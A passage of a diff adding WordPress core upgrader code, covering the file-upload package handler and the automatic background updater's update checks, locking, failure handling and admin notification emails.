+	 * Construct the upgrader for a form.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $form      The name of the form the file was uploaded from.
+	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
+	 */
+	public function __construct( $form, $urlholder ) {
+
+		if ( empty($_FILES[$form]['name']) && empty($_GET[$urlholder]) )
+			wp_die(__('Please select a file'));
+
+		//Handle a newly uploaded file, Else assume it's already been uploaded
+		if ( ! empty($_FILES) ) {
+			$overrides = array( 'test_form' => false, 'test_type' => false );
+			$file = wp_handle_upload( $_FILES[$form], $overrides );
+
+			if ( isset( $file['error'] ) )
+				wp_die( $file['error'] );
+
+			$this->filename = $_FILES[$form]['name'];
+			$this->package = $file['file'];
+
+			// Construct the object array
+			$object = array(
+				'post_title' => $this->filename,
+				'post_content' => $file['url'],
+				'post_mime_type' => $file['type'],
+				'guid' => $file['url'],
+				'context' => 'upgrader',
+				'post_status' => 'private'
+			);
+
+			// Save the data.
+			$this->id = wp_insert_attachment( $object, $file['file'] );
+
+			// Schedule a cleanup for 2 hours from now in case of failed install.
+			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );
+
+		} elseif ( is_numeric( $_GET[$urlholder] ) ) {
+			// Numeric Package = previously uploaded file, see above.
+			$this->id = (int) $_GET[$urlholder];
+			$attachment = get_post( $this->id );
+			if ( empty($attachment) )
+				wp_die(__('Please select a file'));
+
+			$this->filename = $attachment->post_title;
+			$this->package = get_attached_file( $attachment->ID );
+		} else {
+			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
+			if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
+				wp_die( $uploads['error'] );
+
+			$this->filename = $_GET[$urlholder];
+			$this->package = $uploads['basedir'] . '/' . $this->filename;
+		}
+	}
+
+	/**
+	 * Delete the attachment/uploaded file.
+	 *
+	 * @since 3.2.2
+	 *
+	 * @return bool Whether the cleanup was successful.
+	 */
+	public function cleanup() {
+		if ( $this->id )
+			wp_delete_attachment( $this->id );
+
+		elseif ( file_exists( $this->package ) )
+			return @unlink( $this->package );
+
+		return true;
+	}
+}
+
+/**
+ * The WordPress automatic background updater.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 3.7.0
+ */
+class WP_Automatic_Updater {
+
+	/**
+	 * Tracks update results during processing.
+	 *
+	 * @var array
+	 */
+	protected $update_results = array();
+
+	/**
+	 * Whether the entire automatic updater is disabled.
+	 *
+	 * @since 3.7.0
+	 */
+	public function is_disabled() {
+		// Background updates are disabled if you don't want file changes.
+		if ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS )
+			return true;
+
+		if ( defined( 'WP_INSTALLING' ) )
+			return true;
+
+		// More fine grained control can be done through the WP_AUTO_UPDATE_CORE constant and filters.
+		$disabled = defined( 'AUTOMATIC_UPDATER_DISABLED' ) && AUTOMATIC_UPDATER_DISABLED;
+
+		/**
+		 * Filter whether to entirely disable background updates.
+		 *
+		 * There are more fine-grained filters and controls for selective disabling.
+		 * This filter parallels the AUTOMATIC_UPDATER_DISABLED constant in name.
+		 *
+		 * This also disables update notification emails. That may change in the future.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool $disabled Whether the updater should be disabled.
+		 */
+		return apply_filters( 'automatic_updater_disabled', $disabled );
+	}
+
+	/**
+	 * Check for version control checkouts.
+	 *
+	 * Checks for Subversion, Git, Mercurial, and Bazaar. It recursively looks up the
+	 * filesystem to the top of the drive, erring on the side of detecting a VCS
+	 * checkout somewhere.
+	 *
+	 * ABSPATH is always checked in addition to whatever $context is (which may be the
+	 * wp-content directory, for example). The underlying assumption is that if you are
+	 * using version control *anywhere*, then you should be making decisions for
+	 * how things get updated.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $context The filesystem path to check, in addition to ABSPATH.
+	 */
+	public function is_vcs_checkout( $context ) {
+		$context_dirs = array( untrailingslashit( $context ) );
+		if ( $context !== ABSPATH )
+			$context_dirs[] = untrailingslashit( ABSPATH );
+
+		$vcs_dirs = array( '.svn', '.git', '.hg', '.bzr' );
+		$check_dirs = array();
+
+		foreach ( $context_dirs as $context_dir ) {
+			// Walk up from $context_dir to the root.
+			do {
+				$check_dirs[] = $context_dir;
+
+				// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
+				if ( $context_dir == dirname( $context_dir ) )
+					break;
+
+			// Continue one level at a time.
+			} while ( $context_dir = dirname( $context_dir ) );
+		}
+
+		$check_dirs = array_unique( $check_dirs );
+
+		// Search all directories we've found for evidence of version control.
+		foreach ( $vcs_dirs as $vcs_dir ) {
+			foreach ( $check_dirs as $check_dir ) {
+				if ( $checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" ) )
+					break 2;
+			}
+		}
+
+		/**
+		 * Filter whether the automatic updater should consider a filesystem
+		 * location to be potentially managed by a version control system.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool $checkout  Whether a VCS checkout was discovered at $context
+		 *                        or ABSPATH, or anywhere higher.
+		 * @param string $context The filesystem context (a path) against which
+		 *                        filesystem status should be checked.
+		 */
+		return apply_filters( 'automatic_updates_is_vcs_checkout', $checkout, $context );
+	}
+
+	/**
+	 * Tests to see if we can and should update a specific item.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $type    The type of update being checked: 'core', 'theme',
+	 *                        'plugin', 'translation'.
+	 * @param object $item    The update offer.
+	 * @param string $context The filesystem context (a path) against which filesystem
+	 *                        access and status should be checked.
+	 */
+	public function should_update( $type, $item, $context ) {
+		// Used to see if WP_Filesystem is set up to allow unattended updates.
+		$skin = new Automatic_Upgrader_Skin;
+
+		if ( $this->is_disabled() )
+			return false;
+
+		// Only relax the filesystem checks when the update doesn't include new files
+		$allow_relaxed_file_ownership = false;
+		if ( 'core' == $type && isset( $item->new_files ) && ! $item->new_files ) {
+			$allow_relaxed_file_ownership = true;
+		}
+
+		// If we can't do an auto core update, we may still be able to email the user.
+		if ( ! $skin->request_filesystem_credentials( false, $context, $allow_relaxed_file_ownership ) || $this->is_vcs_checkout( $context ) ) {
+			if ( 'core' == $type )
+				$this->send_core_update_notification_email( $item );
+			return false;
+		}
+
+		// Next up, is this an item we can update?
+		if ( 'core' == $type )
+			$update = Core_Upgrader::should_update_to_version( $item->current );
+		else
+			$update = ! empty( $item->autoupdate );
+
+		/**
+		 * Filter whether to automatically update core, a plugin, a theme, or a language.
+		 *
+		 * The dynamic portion of the hook name, `$type`, refers to the type of update
+		 * being checked. Can be 'core', 'theme', 'plugin', or 'translation'.
+		 *
+		 * Generally speaking, plugins, themes, and major core versions are not updated
+		 * by default, while translations and minor and development versions for core
+		 * are updated by default.
+		 *
+		 * See the {@see 'allow_dev_auto_core_updates', {@see 'allow_minor_auto_core_updates'},
+		 * and {@see 'allow_major_auto_core_updates'} filters for a more straightforward way to
+		 * adjust core updates.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool   $update Whether to update.
+		 * @param object $item   The update offer.
+		 */
+		$update = apply_filters( 'auto_update_' . $type, $update, $item );
+
+		if ( ! $update ) {
+			if ( 'core' == $type )
+				$this->send_core_update_notification_email( $item );
+			return false;
+		}
+
+		// If it's a core update, are we actually compatible with its requirements?
+		if ( 'core' == $type ) {
+			global $wpdb;
+
+			$php_compat = version_compare( phpversion(), $item->php_version, '>=' );
+			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+				$mysql_compat = true;
+			else
+				$mysql_compat = version_compare( $wpdb->db_version(), $item->mysql_version, '>=' );
+
+			if ( ! $php_compat || ! $mysql_compat )
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Notifies an administrator of a core update.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object $item The update offer.
+	 */
+	protected function send_core_update_notification_email( $item ) {
+		$notified = get_site_option( 'auto_core_update_notified' );
+
+		// Don't notify if we've already notified the same email address of the same version.
+		if ( $notified && $notified['email'] == get_site_option( 'admin_email' ) && $notified['version'] == $item->current )
+			return false;
+
+		// See if we need to notify users of a core update.
+		$notify = ! empty( $item->notify_email );
+
+		/**
+		 * Filter whether to notify the site administrator of a new core update.
+		 *
+		 * By default, administrators are notified when the update offer received
+		 * from WordPress.org sets a particular flag. This allows some discretion
+		 * in if and when to notify.
+		 *
+		 * This filter is only evaluated once per release. If the same email address
+		 * was already notified of the same new version, WordPress won't repeatedly
+		 * email the administrator.
+		 *
+		 * This filter is also used on about.php to check if a plugin has disabled
+		 * these notifications.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool   $notify Whether the site administrator is notified.
+		 * @param object $item   The update offer.
+		 */
+		if ( ! apply_filters( 'send_core_update_notification_email', $notify, $item ) )
+			return false;
+
+		$this->send_email( 'manual', $item );
+		return true;
+	}
+
+	/**
+	 * Update an item, if appropriate.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $type The type of update being checked: 'core', 'theme', 'plugin', 'translation'.
+	 * @param object $item The update offer.
+	 */
+	public function update( $type, $item ) {
+		$skin = new Automatic_Upgrader_Skin;
+
+		switch ( $type ) {
+			case 'core':
+				// The Core upgrader doesn't use the Upgrader's skin during the actual main part of the upgrade, instead, firing a filter.
+				add_filter( 'update_feedback', array( $skin, 'feedback' ) );
+				$upgrader = new Core_Upgrader( $skin );
+				$context  = ABSPATH;
+				break;
+			case 'plugin':
+				$upgrader = new Plugin_Upgrader( $skin );
+				$context  = WP_PLUGIN_DIR; // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR
+				break;
+			case 'theme':
+				$upgrader = new Theme_Upgrader( $skin );
+				$context  = get_theme_root( $item->theme );
+				break;
+			case 'translation':
+				$upgrader = new Language_Pack_Upgrader( $skin );
+				$context  = WP_CONTENT_DIR; // WP_LANG_DIR;
+				break;
+		}
+
+		// Determine whether we can and should perform this update.
+		if ( ! $this->should_update( $type, $item, $context ) )
+			return false;
+
+		$upgrader_item = $item;
+		switch ( $type ) {
+			case 'core':
+				$skin->feedback( __( 'Updating to WordPress %s' ), $item->version );
+				$item_name = sprintf( __( 'WordPress %s' ), $item->version );
+				break;
+			case 'theme':
+				$upgrader_item = $item->theme;
+				$theme = wp_get_theme( $upgrader_item );
+				$item_name = $theme->Get( 'Name' );
+				$skin->feedback( __( 'Updating theme: %s' ), $item_name );
+				break;
+			case 'plugin':
+				$upgrader_item = $item->plugin;
+				$plugin_data = get_plugin_data( $context . '/' . $upgrader_item );
+				$item_name = $plugin_data['Name'];
+				$skin->feedback( __( 'Updating plugin: %s' ), $item_name );
+				break;
+			case 'translation':
+				$language_item_name = $upgrader->get_name_for_update( $item );
+				$item_name = sprintf( __( 'Translations for %s' ), $language_item_name );
+				$skin->feedback( sprintf( __( 'Updating translations for %1$s (%2$s)&#8230;' ), $language_item_name, $item->language ) );
+				break;
+		}
+
+		$allow_relaxed_file_ownership = false;
+		if ( 'core' == $type && isset( $item->new_files ) && ! $item->new_files ) {
+			$allow_relaxed_file_ownership = true;
+		}
+
+		// Boom, This sites about to get a whole new splash of paint!
+		$upgrade_result = $upgrader->upgrade( $upgrader_item, array(
+			'clear_update_cache' => false,
+			// Always use partial builds if possible for core updates.
+			'pre_check_md5'      => false,
+			// Only available for core updates.
+			'attempt_rollback'   => true,
+			// Allow relaxed file ownership in some scenarios
+			'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership,
+		) );
+
+		// If the filesystem is unavailable, false is returned.
+		if ( false === $upgrade_result ) {
+			$upgrade_result = new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
+		}
+
+		// Core doesn't output this, so let's append it so we don't get confused.
+		if ( 'core' == $type ) {
+			if ( is_wp_error( $upgrade_result ) ) {
+				$skin->error( __( 'Installation Failed' ), $upgrade_result );
+			} else {
+				$skin->feedback( __( 'WordPress updated successfully' ) );
+			}
+		}
+
+		$this->update_results[ $type ][] = (object) array(
+			'item'     => $item,
+			'result'   => $upgrade_result,
+			'name'     => $item_name,
+			'messages' => $skin->get_upgrade_messages()
+		);
+
+		return $upgrade_result;
+	}
+
+	/**
+	 * Kicks off the background update process, looping through all pending updates.
+	 *
+	 * @since 3.7.0
+	 */
+	public function run() {
+		global $wpdb, $wp_version;
+
+		if ( $this->is_disabled() )
+			return;
+
+		if ( ! is_main_network() || ! is_main_site() )
+			return;
+
+		$lock_name = 'auto_updater.lock';
+
+		// Try to lock
+		$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) );
+
+		if ( ! $lock_result ) {
+			$lock_result = get_option( $lock_name );
+
+			// If we couldn't create a lock, and there isn't a lock, bail
+			if ( ! $lock_result )
+				return;
+
+			// Check to see if the lock is still valid
+			if ( $lock_result > ( time() - HOUR_IN_SECONDS ) )
+				return;
+		}
+
+		// Update the lock, as by this point we've definitely got a lock, just need to fire the actions
+		update_option( $lock_name, time() );
+
+		// Don't automatically run these thins, as we'll handle it ourselves
+		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
+		remove_action( 'upgrader_process_complete', 'wp_version_check' );
+		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
+		remove_action( 'upgrader_process_complete', 'wp_update_themes' );
+
+		// Next, Plugins
+		wp_update_plugins(); // Check for Plugin updates
+		$plugin_updates = get_site_transient( 'update_plugins' );
+		if ( $plugin_updates && !empty( $plugin_updates->response ) ) {
+			foreach ( $plugin_updates->response as $plugin ) {
+				$this->update( 'plugin', $plugin );
+			}
+			// Force refresh of plugin update information
+			wp_clean_plugins_cache();
+		}
+
+		// Next, those themes we all love
+		wp_update_themes();  // Check for Theme updates
+		$theme_updates = get_site_transient( 'update_themes' );
+		if ( $theme_updates && !empty( $theme_updates->response ) ) {
+			foreach ( $theme_updates->response as $theme ) {
+				$this->update( 'theme', (object) $theme );
+			}
+			// Force refresh of theme update information
+			wp_clean_themes_cache();
+		}
+
+		// Next, Process any core update
+		wp_version_check(); // Check for Core updates
+		$core_update = find_core_auto_update();
+
+		if ( $core_update )
+			$this->update( 'core', $core_update );
+
+		// Clean up, and check for any pending translations
+		// (Core_Upgrader checks for core updates)
+		$theme_stats = array();
+		if ( isset( $this->update_results['theme'] ) ) {
+			foreach ( $this->update_results['theme'] as $upgrade ) {
+				$theme_stats[ $upgrade->item->theme ] = ( true === $upgrade->result );
+			}
+		}
+		wp_update_themes( $theme_stats );  // Check for Theme updates
+
+		$plugin_stats = array();
+		if ( isset( $this->update_results['plugin'] ) ) {
+			foreach ( $this->update_results['plugin'] as $upgrade ) {
+				$plugin_stats[ $upgrade->item->plugin ] = ( true === $upgrade->result );
+			}
+		}
+		wp_update_plugins( $plugin_stats ); // Check for Plugin updates
+
+		// Finally, Process any new translations
+		$language_updates = wp_get_translation_updates();
+		if ( $language_updates ) {
+			foreach ( $language_updates as $update ) {
+				$this->update( 'translation', $update );
+			}
+
+			// Clear existing caches
+			wp_clean_update_cache();
+
+			wp_version_check();  // check for Core updates
+			wp_update_themes();  // Check for Theme updates
+			wp_update_plugins(); // Check for Plugin updates
+		}
+
+		// Send debugging email to all development installs.
+		if ( ! empty( $this->update_results ) ) {
+			$development_version = false !== strpos( $wp_version, '-' );
+
+			/**
+			 * Filter whether to send a debugging email for each automatic background update.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $development_version By default, emails are sent if the
+			 *                                  install is a development version.
+			 *                                  Return false to avoid the email.
+			 */
+			if ( apply_filters( 'automatic_updates_send_debug_email', $development_version ) )
+				$this->send_debug_email();
+
+			if ( ! empty( $this->update_results['core'] ) )
+				$this->after_core_update( $this->update_results['core'][0] );
+
+			/**
+			 * Fires after all automatic updates have run.
+			 *
+			 * @since 3.8.0
+			 *
+			 * @param array $update_results The results of all attempted updates.
+			 */
+			do_action( 'automatic_updates_complete', $this->update_results );
+		}
+
+		// Clear the lock
+		delete_option( $lock_name );
+	}
+
+	/**
+	 * If we tried to perform a core update, check if we should send an email,
+	 * and if we need to avoid processing future updates.
+	 *
+	 * @param object $update_result The result of the core update. Includes the update offer and result.
+	 */
+	protected function after_core_update( $update_result ) {
+		global $wp_version;
+
+		$core_update = $update_result->item;
+		$result      = $update_result->result;
+
+		if ( ! is_wp_error( $result ) ) {
+			$this->send_email( 'success', $core_update );
+			return;
+		}
+
+		$error_code = $result->get_error_code();
+
+		// Any of these WP_Error codes are critical failures, as in they occurred after we started to copy core files.
+		// We should not try to perform a background update again until there is a successful one-click update performed by the user.
+		$critical = false;
+		if ( $error_code === 'disk_full' || false !== strpos( $error_code, '__copy_dir' ) ) {
+			$critical = true;
+		} elseif ( $error_code === 'rollback_was_required' && is_wp_error( $result->get_error_data()->rollback ) ) {
+			// A rollback is only critical if it failed too.
+			$critical = true;
+			$rollback_result = $result->get_error_data()->rollback;
+		} elseif ( false !== strpos( $error_code, 'do_rollback' ) ) {
+			$critical = true;
+		}
+
+		if ( $critical ) {
+			$critical_data = array(
+				'attempted'  => $core_update->current,
+				'current'    => $wp_version,
+				'error_code' => $error_code,
+				'error_data' => $result->get_error_data(),
+				'timestamp'  => time(),
+				'critical'   => true,
+			);
+			if ( isset( $rollback_result ) ) {
+				$critical_data['rollback_code'] = $rollback_result->get_error_code();
+				$critical_data['rollback_data'] = $rollback_result->get_error_data();
+			}
+			update_site_option( 'auto_core_update_failed', $critical_data );
+			$this->send_email( 'critical', $core_update, $result );
+			return;
+		}
+
+		/*
+		 * Any other WP_Error code (like download_failed or files_not_writable) occurs before
+		 * we tried to copy over core files. Thus, the failures are early and graceful.
+		 *
+		 * We should avoid trying to perform a background update again for the same version.
+		 * But we can try again if another version is released.
+		 *
+		 * For certain 'transient' failures, like download_failed, we should allow retries.
+		 * In fact, let's schedule a special update for an hour from now. (It's possible
+		 * the issue could actually be on WordPress.org's side.) If that one fails, then email.
+		 */
+		$send = true;
+  		$transient_failures = array( 'incompatible_archive', 'download_failed', 'insane_distro' );
+  		if ( in_array( $error_code, $transient_failures ) && ! get_site_option( 'auto_core_update_failed' ) ) {
+  			wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_maybe_auto_update' );
+  			$send = false;
+  		}
+
+  		$n = get_site_option( 'auto_core_update_notified' );
+		// Don't notify if we've already notified the same email address of the same version of the same notification type.
+		if ( $n && 'fail' == $n['type'] && $n['email'] == get_site_option( 'admin_email' ) && $n['version'] == $core_update->current )
+			$send = false;
+
+		update_site_option( 'auto_core_update_failed', array(
+			'attempted'  => $core_update->current,
+			'current'    => $wp_version,
+			'error_code' => $error_code,
+			'error_data' => $result->get_error_data(),
+			'timestamp'  => time(),
+			'retry'      => in_array( $error_code, $transient_failures ),
+		) );
+
+		if ( $send )
+			$this->send_email( 'fail', $core_update, $result );
+	}
+
+	/**
+	 * Sends an email upon the completion or failure of a background core update.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $type        The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'.
+	 * @param object $core_update The update offer that was attempted.
+	 * @param mixed  $result      Optional. The result for the core update. Can be WP_Error.
+	 */
+	protected function send_email( $type, $core_update, $result = null ) {
+		update_site_option( 'auto_core_update_notified', array(
+			'type'      => $type,
+			'email'     => get_site_option( 'admin_email' ),
+			'version'   => $core_update->current,
+			'timestamp' => time(),
+		) );
+
+		$next_user_core_update = get_preferred_from_update_core();
+		// If the update transient is empty, use the update we just performed
+		if ( ! $next_user_core_update )
+			$next_user_core_update = $core_update;
+		$newer_version_available = ( 'upgrade' == $next_user_core_update->response && version_compare( $next_user_core_update->version, $core_update->version, '>' ) );
+
+		/**
+		 * Filter whether to send an email following an automatic background core update.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool   $send        Whether to send the email. Default true.
+		 * @param string $type        The type of email to send. Can be one of
+		 *                            'success', 'fail', 'critical'.
+		 * @param object $core_update The update offer that was attempted.
+		 * @param mixed  $result      The result for the core update. Can be WP_Error.
+		 */
+		if ( 'manual' !== $type && ! apply_filters( 'auto_core_update_send_email', true, $type, $core_update, $result ) )
+			return;
+
+		switch ( $type ) {
+			case 'success' : // We updated.
+				/* translators: 1: Site name, 2: WordPress version number. */
+				$subject = __( '[%1$s] Your site has updated to WordPress %2$s' );
+				break;
+
+			case 'fail' :   // We tried to update but couldn't.
+			case 'manual' : // We can't update (and made no attempt).
+				/* translators: 1: Site name, 2: WordPress version number. */
+				$subject = __( '[%1$s] WordPress %2$s is available. Please update!' );
+				break;
+
+			case 'critical' : // We tried to update, started to copy files, then things went wrong.
+				/* translators: 1: Site name. */
+				$subject = __( '[%1$s] URGENT: Your site may be down due to a failed update' );
+				break;
+
+			default :
+				return;
+		}
+
+		// If the auto update is not to the latest version, say that the current version of WP is available instead.
+		$version = 'success' === $type ? $core_update->current : $next_user_core_update->current;
+		$subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $version );
+
+		$body = '';
+
+		switch ( $type ) {
+			case 'success' :
+				$body .= sprintf( __( 'Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.' ), home_url(), $core_update->current );
+				$body .= "\n\n";
+				if ( ! $newer_version_available )
+					$body .= __( 'No further action is needed on your part.' ) . ' ';
+
+				// Can only reference the About screen if their update was successful.
+				list( $about_version ) = explode( '-', $core_update->current, 2 );
+				$body .= sprintf( __( "For more on version %s, see the About WordPress screen:" ), $about_version );
+				$body .= "\n" . admin_url( 'about.php' );
+
+				if ( $newer_version_available ) {
+					$body .= "\n\n" . sprintf( __( 'WordPress %s is also now available.' ), $next_user_core_update->current ) . ' ';
+					$body .= __( 'Updating is easy and only takes a few moments:' );
+					$body .= "\n" . network_admin_url( 'update-core.php' );
+				}
+
+				break;
+
+			case 'fail' :
+			case 'manual' :
+				$body .= sprintf( __( 'Please update your site at %1$s to WordPress %2$s.' ), home_url(), $next_user_core_update->current );
+
+				$body .= "\n\n";
+
+				// Don't show this message if there is a newer version available.
+				// Potential for confusion, and also not useful for them to know at this point.
+				if ( 'fail' == $type && ! $newer_version_available )
+					$body .= __( 'We tried but were unable to update your site automatically.' ) . ' ';
+
+				$body .= __( 'Updating is easy and only takes a few moments:' );
+				$body .= "\n" . network_admin_url( 'update-core.php' );
+				break;
+
+			case 'critical' :
+				if ( $newer_version_available )
+					$body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.' ), home_url(), $core_update->current );
+				else
+					$body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.' ), home_url(), $core_update->current );
+
+				$body .= "\n\n" . __( "This means your site may be offline or broken. Don't panic; this can be fixed." );
+
+				$body .= "\n\n" . __( "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" );
+				$body .= "\n" . network_admin_url( 'update-core.php' );
+				break;
+		}
+
+		$critical_support = 'critical' === $type && ! empty( $core_update->support_email );
+		if ( $critical_support ) {
+			// Support offer if available.
+			$body .= "\n\n" . sprintf( __( "The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working." ), $core_update->support_email );
+		} else {
+			// Add a note about the support forums.
+			$body .= "\n\n" . __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
+			$body .= "\n" . __( 'https://wordpress.org/support/' );
+		}
+
+		// Updates are important!
+		if ( $type != 'success' || $newer_version_available ) {
+			$body .= "\n\n" . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' );
+		}
+
+		if ( $critical_support ) {
+			$body .= " " . __( "If you reach out to us, we'll also ensure you'll never have this problem again." );
+		}
+
+		// If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
+		if ( $type == 'success' && ! $newer_version_available && ( get_plugin_updates() || get_theme_updates() ) ) {
+			$body .= "\n\n" . __( 'You also have some plugins or themes with updates available. Update them now:' );
+			$body .= "\n" . network_admin_url();
+		}
+
+		$body .= "\n\n" . __( 'The WordPress Team' ) . "\n";
+
+		if ( 'critical' == $type && is_wp_error( $result ) ) {
+			$body .= "\n***\n\n";
+			$body .= sprintf( __( 'Your site was running version %s.' ), $GLOBALS['wp_version'] );
+			$body .= ' ' . __( 'We have some data that describes the error your site encountered.' );
+			$body .= ' ' . __( 'Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:' );
+
+			// If we had a rollback and we're still critical, then the rollback failed too.
+			// Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc.
+			if ( 'rollback_was_required' == $result->get_error_code() )
+				$errors = array( $result, $result->get_error_data()->update, $result->get_error_data()->rollback );
+			else
+				$errors = array( $result );
+
+			foreach ( $errors as $error ) {
+				if ( ! is_wp_error( $error ) )
+					continue;
+				$error_code = $error->get_error_code();
+				$body .= "\n\n" . sprintf( __( "Error code: %s" ), $error_code );
+				if ( 'rollback_was_required' == $error_code )
+					continue;
+				if ( $error->get_error_message() )
+					$body .= "\n" . $error->get_error_message();
+				$error_data = $error->get_error_data();
+				if ( $error_data )
+					$body .= "\n" . implode( ', ', (array) $error_data );
+			}
+			$body .= "\n";
+		}
+
+		$to  = get_site_option( 'admin_email' );
+		$headers = '';
+
+		$email = compact( 'to', 'subject', 'body', 'headers' );
+
+		/**
+		 * Filter the email sent following an automatic background core update.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $email {
+		 *     Array of email arguments that will be passed to wp_mail().
+		 *
+		 *     @type string $to      The email recipient. An array of emails
+		 *                            can be returned, as handled by wp_mail().
+		 *     @type string $subject The email's subject.
+		 *     @type string $body    The email message body.
+		 *     @type string $headers Any email headers, defaults to no headers.
+		 * }
+		 * @param string $type        The type of email being sent. Can be one of
+		 *                            'success', 'fail', 'manual', 'critical'.
+		 * @param object $core_update The update offer that was attempted.
+		 * @param mixed  $result      The result for the core update. Can be WP_Error.
+		 */
+		$email = apply_filters( 'auto_core_update_email', $email, $type, $core_update, $result );
+
+		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
+	}
+
+	/**
+	 * Prepares and sends an email of a full log of background update results, useful for debugging and geekery.
+	 *
+	 * @since 3.7.0
+	 */
+	protected function send_debug_email() {
+		$update_count = 0;
+		foreach ( $this->update_results as $type => $updates )
+			$update_count += count( $updates );
+
+		$body = array();
+		$failures = 0;
+
+		$body[] = sprintf( __( 'WordPress site: %s' ), network_home_url( '/' ) );
+
+		// Core
+		if ( isset( $this->update_results['core'] ) ) {
+			$result = $this->update_results['core'][0];
+			if ( $result->result && ! is_wp_error( $result->result ) ) {
+				$body[] = sprintf( __( 'SUCCESS: WordPress was successfully updated to %s' ), $result->name );
+			} else {
+				$body[] = sprintf( __( 'FAILED: WordPress failed to update to %s' ), $result->name );
+				$failures++;
+			}
+			$body[] = '';
+		}
+
+		// Plugins, Themes, Translations
+		foreach ( array( 'plugin', 'theme', 'translation' ) as $type ) {
+			if ( ! isset( $this->update_results[ $type ] ) )
+				continue;
+			$success_items = wp_list_filter( $this->update_results[ $type ], array( 'result' => true ) );
+			if ( $success_items ) {
+				$messages = array(
+					'plugin'      => __( 'The following plugins were successfully updated:' ),
+					'theme'       => __( 'The following themes were successfully updated:' ),
+					'translation' => __( 'The following translations were successfully updated:' ),
+				);
+
+				$body[] = $messages[ $type ];
+				foreach ( wp_list_pluck( $success_items, 'name' ) as $name ) {
+					$body[] = ' * ' . sprintf( __( 'SUCCESS: %s' ), $name );
+				}
+			}
+			if ( $success_items != $this->update_results[ $type ] ) {
+				// Failed updates
+				$messages = array(
+					'plugin'      => __( 'The following plugins failed to update:' ),
+					'theme'       => __( 'The following themes failed to update:' ),
+					'translation' => __( 'The following translations failed to update:' ),
+				);
+
+				$body[] = $messages[ $type ];
+				foreach ( $this->update_results[ $type ] as $item ) {
+					if ( ! $item->result || is_wp_error( $item->result ) ) {
+						$body[] = ' * ' . sprintf( __( 'FAILED: %s' ), $item->name );
+						$failures++;
+					}
+				}
+			}
+			$body[] = '';
+		}
+
+		$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
+		if ( $failures ) {
+			$body[] = trim( __( "
+BETA TESTING?
+=============
+
+This debugging email is sent when you are using a development version of WordPress.
+
+If you think these failures might be due to a bug in WordPress, could you report it?
+ * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta
+ * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/
+
+Thanks! -- The WordPress Team" ) );
+			$body[] = '';
+
+			$subject = sprintf( __( '[%s] There were failures during background updates' ), $site_title );
+		} else {
+			$subject = sprintf( __( '[%s] Background updates have finished' ), $site_title );
+		}
+
+		$body[] = trim( __( '
+UPDATE LOG
+==========' ) );
+		$body[] = '';
+
+		foreach ( array( 'core', 'plugin', 'theme', 'translation' ) as $type ) {
+			if ( ! isset( $this->update_results[ $type ] ) )
+				continue;
+			foreach ( $this->update_results[ $type ] as $update ) {
+				$body[] = $update->name;
+				$body[] = str_repeat( '-', strlen( $update->name ) );
+				foreach ( $update->messages as $message )
+					$body[] = "  " . html_entity_decode( str_replace( '&#8230;', '...', $message ) );
+				if ( is_wp_error( $update->result ) ) {
+					$results = array( 'update' => $update->result );
+					// If we rolled back, we want to know an error that occurred then too.
+					if ( 'rollback_was_required' === $update->result->get_error_code() )
+						$results = (array) $update->result->get_error_data();
+					foreach ( $results as $result_type => $result ) {
+						if ( ! is_wp_error( $result ) )
+							continue;
+
+						if ( 'rollback' === $result_type ) {
+							/* translators: 1: Error code, 2: Error message. */
+							$body[] = '  ' . sprintf( __( 'Rollback Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
+						} else {
